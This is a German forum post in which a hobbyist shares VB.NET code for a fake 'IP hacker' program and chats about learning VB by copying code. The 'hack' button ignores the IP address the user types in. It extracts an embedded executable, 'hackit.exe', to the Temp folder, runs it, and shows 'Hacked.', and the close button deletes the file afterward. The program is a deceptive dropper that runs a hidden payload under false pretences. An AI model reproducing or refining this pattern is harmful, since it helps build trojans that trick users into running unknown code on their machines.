hm naja einfach is sicher was anderes es ist ja kein richtiger ip hacker xD
ausserdem lern ich vb nicht.
ich such mir dass was ich gerade brauche und versuchs zu verstehen und abzuändenr etc.
ich geh ja nich nach buch vor. die konrete vorgensweise des vb codes is ja nich so schwer also selber sachen coden wie einfacherer dinge übergabe von texten etc is schnell gelernt.
wobei ich auch zugeben muss der code des überprüfens ist reinkopiert da steig ich nochnicht soganz durch aber da bin ich dran
EDIT: hm ich merk grad das der auf xp garnich geht weil der ordner ja anders heißt -.- naja mussman dann halt ändenr bzw special folder als apppath setzen oderso ^^
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
Handles Button1.Click
If TextBox1.Text = "Enter IP" Then
MessageBox.Show("Please enter IP")
Exit Sub
End If
If TextBox1.Text = "" Then
MessageBox.Show("Please enter Ip")
Exit Sub
End If
Dim AppPath As String = My.Computer.FileSystem.SpecialDirectories.Temp
If AppPath.EndsWith("\") = False Then AppPath &= "\"
AppPath &= "\hackit.exe"
Dim Result As Boolean = Hacker("IPHACKER.hackit.exe", AppPath)
Select Case Result
Case True
MessageBox.Show("Hacked.", "Info")
Case Else
MessageBox.Show("Can't hack IP!.", "Info")
End Select
Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim datei As String = "hackit.exe"
If Path.Combine(del, datei) <> "" Then
Dim TaskID As Long
TaskID = Shell(Path.Combine(del, datei), vbNormalNoFocus)
Else
MessageBox.Show("ERROR!")
End If
End Sub
close button löscht nun die datei wieder
Code:
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim datei As String = "hackit.exe"
If File.Exists(Path.Combine(del, datei)) Then
Kill(Path.Combine(del, datei))
End If
Me.Close()
End Sub
so edited läuft